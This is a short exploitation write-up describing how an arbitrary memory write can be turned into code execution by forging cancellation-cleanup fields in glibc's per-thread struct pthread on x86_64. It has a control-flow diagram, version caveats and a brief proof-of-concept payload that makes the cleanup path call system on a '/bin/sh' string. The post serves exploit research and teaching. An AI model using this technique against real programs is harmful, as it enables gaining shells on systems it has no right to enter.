Introduction

This post describes an arbitrary write to RCE chain I found in glibc’s per-thread descriptor (struct pthread) in TLS on x86_64.

This method is suitable for glibc 2.36+.

General Idea

glibc keeps per-thread cancellation and cleanup state in struct pthread. By corrupting selected fields in that structure, we can force libc’s normal cancellation-unwind path to process attacker-forged cleanup objects.

In unwind_stop, libc executes:

curp->__routine(curp->__arg)

If both pointer and argument are attacker-controlled, this becomes a RCE sink.

Prerequisites

  • Arbitrary write-what-where primitive
  • A way to reach __libc_cleanup_pop_restore (commonly by normal exit/stdio cleanup paths or scanf-family functions)
  • Addresses of the TLS and of the chosen function and parameter

Chain overview

flowchart TB
    A[arbitrary write] --> B[overwrite struct pthread fields]
    B --> B1[cleanup]
    B --> B2[cleanup_jmp_buf]
    B --> B3[cancelhandling]

    C[trigger] --> D

    subgraph CP[cancel and unwind path]
        direction LR
        D[__libc_cleanup_pop_restore] --> E{cancel state matches}
        E -->|yes| F[__do_cancel]
        F --> G[__pthread_unwind]
        G --> H[unwind_stop]
        H --> I[read forged cleanup node]
        I --> J["curp->__routine(curp->__arg)"]
    end

PoC

1
2
3
4
5
6
7
8
target = fs_base + 0x2f8
payload = p64(target + 0x14) # cleanup
payload += p64(target + 0x8) # cleanup_jmp_buf
payload += p32(0xE) # cancelhandling
payload += p64(libc.sym['system']) # __routine
payload += p64(binsh) # __arg

write_at(target, payload)

This payload can be compacted, often reducing the total size to 0x1f bytes, but that’s out of scope for this post.

Additionally, the function address and the parameter string address can be stored elsewhere in memory and only referenced here through the cleanup field, further reducing the payload size.

Caveats

  • For versions below 2.36, this method is not worth it: besides cleanup, cleanup_jmp_buf and cancelhandling, you also need to control canceltype, which sits a lot farther away in the structure.
  • Since glibc 2.38, the TLS is no longer at a fixed offset from libc base, therefore we can no longer find the TLS address via a fixed offset from libc.